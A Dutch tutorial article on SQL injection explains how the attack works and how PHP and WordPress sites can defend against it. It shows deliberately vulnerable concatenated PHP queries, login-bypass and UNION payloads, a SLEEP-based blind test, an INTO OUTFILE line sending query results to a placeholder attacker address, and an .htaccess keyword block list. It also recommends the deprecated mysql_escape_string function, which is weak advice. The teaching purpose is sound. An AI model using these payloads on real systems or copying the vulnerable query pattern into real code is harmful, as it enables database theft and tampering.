SQL (Structured Query Language) is een taal waarmee we met databases kunnen communiceren. Moderne webapplicaties gebruiken databases om gegevens te beheren en dynamische inhoud weer te geven aan lezers.
SQL-injectie, of SQLi, is een aanval op een webapplicatie door de database te hacken middels kwaadaardige SQL-instructies.
Aangezien het een veel voorkomende aanval is, is het zinvol om meer te weten te komen over wat het is, hoe het gebeurt en hoe je je ertegen kan verdedigen.
Klaar voor de start? Af!
Wat zijn SQL-injecties?
SQL-injectie, of SQLi, is een type aanval op een webtapplicatie waarmee een aanvaller kwaadaardige SQL-instructies in de webapplicatie kan toevoegen, mogelijk toegang krijgt tot gevoelige gegevens in de database of deze gegevens vernietigt. SQL-injectie werd voor het eerst ontdekt door Jeff Forristal in 1998.
In de twee decennia sinds zijn ontdekking is SQL-injectie consequent de topprioriteit van webontwikkelaars geweest bij het ontwerpen van applicaties.
Barclaycard schatte in 2012 dat 97% van de datalekken beginnen met een SQL-injectieaanval. Ook vandaag de dag komen SQL-injecties veel voor en de ernst van deze aanvallen worden door slechts weinigen nog onderschat. Volgens OWASP is het een van tien belangrijkste beveiligingsrisico’s.
Hoe werken beveiligingslekken met betrekking tot SQL-injecties?
Een SQL-injectie beveiligingslek geeft een aanvaller complete toegang tot de database van je applicatie door het gebruik van kwaadaardige SQL-instructies.
In dit gedeelte geven we een voorbeeld van hoe een kwetsbare applicatie eruitziet.
Stel je de workflow voor van een typische webapplicatie waarbij database-aanvragen via userinput worden gemaakt. De userinput wordt gedaan via een formulier, bijvoorbeeld een inlogformulier. Vervolgens voer je een query uit in je database met de velden die door de gebruiker zijn ingediend om ze te verifiëren. De structuur van de query naar je database ziet er ongeveer zo uit:
select * from user_table
where username = 'sdaityari'
and password = 'mypassword';
Laten we er voor de eenvoud van uitgaan dat je je wachtwoorden als platte tekst opslaat. Het is echter een goede gewoonte om je wachtwoorden te salten en vervolgens te hashen. Als je de gebruikersnaam en het wachtwoord van het formulier hebt ontvangen, kan je de query in PHP als volgt definiëren:
// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query
Als iemand de waarde “admin’;–” invoert in het veld username, is de resulterende SQL-query die de variabele $db_query genereert als volgt:
select * from user_table where
username = 'admin';--' and password = 'mypassword'
Wat doet deze query?
Een opmerking in SQL start met dubbele streepjes (–). De resulterende zoekopdracht filtert alleen op de gebruikersnaam zonder rekening te houden met het wachtwoord. Als er geen beveiliging is ingebouwd die dit belet, dan kan je met deze truc doodeenvoudig beheerdersrechten krijgen voor deze webapplicatie.
Als alternatief kan in dit voorbeeld ook een boolean aanval worden gebruikt om toegang te krijgen. Als een aanvaller “password’ or 1=1;–” in het wachtwoordveld invoert, dan ziet de resulterende query er als volgt uit:
select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';
In dit geval, zelfs als je wachtwoord onjuist is, krijg je toegang tot de applicatie. Als je webpagina de resultaten van de databasequery weergeeft, dan kan je aanvaller de opdracht show tables gebruiken, een opdracht uitvoeren om de tabellen in de database te zien en vervolgens selectief tabellen verwijderen als ze dat willen.

Exploits of a Mom, een populaire strip van XKCD, toont het gesprek van een moeder met de school van haar zoon, waar ze wordt gevraagd of ze haar zoon echt “Robert’); DROP TABLE Students; –” heeft genoemd.
Soorten SQL-injectie
Nu je de basisprincipes kent van kwetsbaarheden rond SQL-injecties, gaan we de verschillende soorten SQL-injectieaanvallen onderzoeken en de reden achter elk van deze aanvallen.
In-band SQL-injectie
In-band SQL-injectie is de eenvoudigste vorm van SQL-injectie. In dit proces kan de aanvaller hetzelfde kanaal gebruiken om de schadelijke SQL-code in de toepassing in te voegen en de resultaten te verzamelen. We zullen twee vormen van in-band SQL-injectieaanvallen bespreken:
Error-based aanval
Een aanvaller gebruikt een error-based SQL-injectietechniek tijdens de eerste fasen van zijn aanval. Het idee achter een error-based SQL-injectie is om meer informatie te krijgen over de databasestructuur en tabelnamen van de webapplicatie. Een foutbericht kan bijvoorbeeld de tabelnaam blootleggen die is opgenomen in de query, maar ook de kolomnamen van de tabel. Deze gegevens kunnen vervolgens worden gebruikt om nieuwe aanvallen op te zetten.
Union-based aanvallen
Bij deze methode kan een aanvaller de SQL union join gebruiken om de resultaten van een andere table weer te geven. Als een aanvaller zich bijvoorbeeld op een zoekpagina bevindt, dan kunnen ze de resultaten van een andere tabel toevoegen.
select title, link from post_table
where id < 10
union
select username, password
from user_table; --;
Inferentiële SQL-injectie (blinde SQL-injectie)
Zelfs als een aanvaller een foutmelding in de SQL-query genereert, wordt het antwoord van de query niet altijd rechtstreeks naar de webpagina verzonden. In dat geval moet de aanvaller verder zoeken.
In deze vorm van SQL-injectie stuurt de aanvaller verschillende query’s naar de database om te kijken hoe de toepassing deze antwoorden analyseert. Een inferentiële SQL-injectie wordt ook wel een blinde SQL-injectie genoemd. Hieronder zullen we twee soorten inferentiële SQL-injecties bekijken, boolean SQL-injectie en time-based SQL-injectie.
Boolean aanval
Als een SQL-query resulteert in een fout die niet intern in de toepassing kan worden verwerkt, kan de resulterende webpagina een foutmelding geven, een lege pagina laden of slechts gedeeltelijk laden. In een boolean SQL-injectie beoordeelt een aanvaller welke delen van de invoer van een gebruiker kwetsbaar zijn voor SQL-injecties door twee verschillende versies van een Booleaanse clausule te testen via de volgende input:
- “… and 1=1”
- “… and 1=2”
Als de toepassing normaal werkt in het eerste geval, maar in het tweede geval een afwijking vertoont, geeft dit aan dat de toepassing kwetsbaar is voor een SQL-injectie.
Time-based aanval
Ook een time-based SQL-injectie kan een aanvaller helpen te bepalen of een kwetsbaarheid aanwezig is in een webapplicatie. Een aanvaller gebruikt een vooraf gedefinieerde, op tijd gebaseerde functie van het databasebeheersysteem dat door de toepassing wordt gebruikt. In MySQL geeft de functie sleep() de database bijvoorbeeld de opdracht om een bepaald aantal seconden te wachten.
select * from comments
WHERE post_id=1-SLEEP(15);
Als een dergelijke zoekopdracht vertraging oplevert, weet de aanvaller dat deze kwetsbaar is.
Out-of-band SQL-injectie
Als een aanvaller niet in staat is om de resultaten van een SQL-injectie via hetzelfde kanaal te verzamelen. Out-of-band SQL-injectietechnieken kunnen worden gebruikt als alternatief voor inferentiële SQL-injectietechnieken.
Meestal gaat het bij deze technieken om het verzenden van gegevens uit de database naar een locatie die door de aanvaller wordt bepaald. Dit proces is ook sterk afhankelijk van de mogelijkheden van het databasebeheersysteem.
Een out-of-band SQL-injectie-aanval maakt gebruik van de externe bestandsprocessen van je DBMS. In MySQL kunnen de functies LOAD_FILE() en INTO OUTFILE worden gebruikt om MySQL te vragen de gegevens naar een externe bron te verzenden. Dit is hoe een aanvaller OUTFILE kan gebruiken om de resultaten van een zoekopdracht naar een externe bron te sturen:
select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'
Evenzo kan de functie LOAD_FILE() worden gebruikt om een bestand van de server te lezen en de inhoud ervan weer te geven. Een combinatie van LOAD_FILE() en OUTFILE kan worden gebruikt om de inhoud van een bestand op de server te lezen en vervolgens naar een andere locatie te verzenden.
Hoe SQL-injecties te voorkomen
Tot nu toe hebben we de kwetsbaarheden onderzocht die binnen webapplicaties kunnen leiden tot SQL-injectieaanvallen. Een kwetsbaarheid voor SQL-injectie kan door een aanvaller worden gebruikt om de inhoud van je database te lezen, te wijzigen of zelfs te verwijderen.
Bovendien kan het iemand ook in staat stellen om een bestand op elke locatie binnen de server te lezen en de inhoud naar een andere plek te versturen. In dit gedeelte onderzoeken we verschillende technieken om je webapplicatie en website te beschermen tegen SQL-injectieaanvallen.
Userinput escapen
Over het algemeen is het lastig om te bepalen of een userstring kwaadaardig is of niet. De beste manier om dit te verhelpen is om speciale tekens in userinput te escapen.
Dit proces behoedt je voor een SQL-injectieaanval. Je kan een string escapen – voordat je de query in PHP samenstelt – met de mysql_escape_string() function
. Ook kan je in MySQL een string escapen met de functie mysqli_real_escape_string()
Bij het tonen van de output – in HTML – moet je er wel voor zorgen dat je de string converteert zodat de speciale tekens de HTML-opmaak niet verstoren. Je kan speciale tekens in PHP converteren met de functie htmlspecialchars()
.
Prepared statements gebruiken
Als alternatief om SQL-injecties te voorkomen, kan je prepared statements gebruiken. Een prepared statement is een template van een SQL-query, waar je in een later stadium parameters opgeeft om deze uit te voeren. Hier een voorbeeld van een prepared statement in PHP en MySQLi.
$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));
Andere best practices om SQL-aanvallen te voorkomen
De volgende stap om dit beveiligingslek te verminderen, is de toegang tot de database te beperken tot alleen wat nodig is.
Verbind bijvoorbeeld je webapplicatie met het DBMS met behulp van een specifieke gebruiker, die alleen toegang heeft tot de relevante database.
Beperk de toegang van de database-gebruiker tot alle andere locaties van de server. Mogelijk wil je ook bepaalde SQL-keywords in de URL blokkeren. Als je Apache als webserver gebruikt, kan je de volgende coderegels aan je .htaccess-bestand toevoegen om een 403 Forbidden foutmelding weer te geven aan een potentiële aanvaller.
Wees wel voorzichtig, want ook normale lezers zullen deze foutmelding te zien krijgen wanneer een URL een van deze woorden bevat.
RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]
Een extra tip is om te zorgen dat je altijd software gebruikt die is bijgewerkt. Wanneer een nieuwe versie of een patch wordt uitgebracht, worden de bugs die in de update zijn opgelost gedetailleerd beschreven in de release-opmerkingen. Daarom is het ook noodzakelijk om zo snel mogelijk bij te werken, de beveiligingslekken zijn immers voor iedereen bekend.
SQL-injectie in WordPress
Je bent beveiligd tegen SQL-kwetsbaarheid als je actuele WordPress-core bestanden gebruikt. Wanneer je echter extreme thema’s en plugins gebruikt, loopt je hele applicatie risico.
Je WordPress-installatie is zo sterk als de zwakste schakel. In deze sectie bespreken we de belangrijkste overwegingen om de kwetsbaarheid van SQL-injecties in WordPress te verminderen en hoe je kwetsbaarheidscontroles kan uitvoeren op je bestaande WordPress-site.
Preventie van SQL-kwetsbaarheden in WordPress
Om te zorgen dat je WordPress-thema of plugin minder kwetsbaar wordt voor SQL-injecties, is de voornaamste regel dat deze gebruik maakt van bestaande WordPress-functies bij interactie met de database.
Tijdens het WordPress-ontwikkelingsproces worden deze functies grondig getest op kwetsbaarheden voor SQL-injecties. Als je bijvoorbeeld een reactie bij een bericht wil plaatsen, gebruik dan de functie wp_insert_comment() in plaats van het rechtstreeks plaatsen van reacties in de tabel van wp_comments.
Hoewel functies voor veel dingen te gebruiken zijn, moet je soms een complexe query uitvoeren. Zorg in dat geval dat je gebruik maakt van de groep functies van $wp_db. Ook kan je gebruik maken van $wpdb->prepare() om de userinput te escapen voordat je de query maakt.
Verder is hier nog een lijst met functies voor het opschonen van data in WordPress. Hiermee kan je specifieke soorten userinput escapen, zoals e-mails en URL’s.
Je WordPress-site beveiligen
Hoewel WordPress zelf veilig is, kunnen problemen zoals verouderde kernsoftware en nulled plugins wel tot kwetsbaarheden leiden. Door de complexiteit van jouw site kan het een behoorlijke opgave zijn om deze te checken op kwetsbaarheid voor SQL-injecties, maar helaas is er geen alternatief.
Je kan een online scantool gebruiken, zoals ThreatPass en WPScan Vulnerability Database. Je kan je plugins controleren en kijken of ze nog wel bijgewerkt worden. Als dat inmiddels niet meer gebeurt, is het misschien geen goed idee om ze op jouw site te gebruiken.
Als je ze echt absoluut nodig hebt, zorg dan dat je de code en features zorgvuldig test op kwetsbaarheden. Daarnaast, zorg ook dat je de volgende veiligheidschecks uitvoert:
- PHP, WordPress-core en MySQL updaten
- Externe plugins en thema’s updaten
- Niet de rootgebruiker gebruiken om te verbinden met de SQL-database
- Toegang beperken van SQL-gebruikers tot gevoelige mappen
- Met je server SQL-keywords blokkeren
- Back-ups van je site maken in geval van onherstelbare schade
Hier is een informatief artikel over WordPress Security en een uitgebreide lijst met checks. Verder wil je misschien kijken naar deze beveiligingsplugins voor WordPress. En dit is wat je moet doen als je site tóch is gehackt.
Is SQL-injectie illegaal?
Jazeker! Hoewel het om een kwetsbaarheid gaat, is het nog steeds zo dat een aanvaller toegang probeert te krijgen tot gegevens waar ze anders geen toegang tot hadden.
Stel je een scenario voor waarin iemand zijn sleutels in de auto achterlaat. Is ermee wegrijden een overtreding, alleen maar omdat deze open en onbeheerd werd achtergelaten? De handeling van SQLi valt in elk land onder een verschillende wet. In de VS valt het onder de Computer Fraud and Abuse Act (1986) in de VS en in het VK onder de Computer Misuse Act (1990) in het VK.
Samenvatting
SQL-injecties bestaan al heel lang. Een rapport uit 2018 over gehackte websites vertelt echter dat SQLi de meest voorkomende website-hack voor WordPress is – na XSS-aanvallen. Om te voorkomen dat ze plaatsvinden, moet je:
- Begrijpen hoe de SQL-injecties werken
- Een idee hebben van de SQLi-methodes die aanvallers gebruiken om ongeautoriseerde toegang tot je webapplicatie te krijgen
- Methodes implementeren om je website te beschermen tegen SQLi-aanvallen, zoals het escapen van userinput en het gebruik van prepared statements
- Een routine volgen om de beveiliging te checken
Zoals het gezegde gaat: “Voorkomen is beter dan genezen!”
Geef een antwoord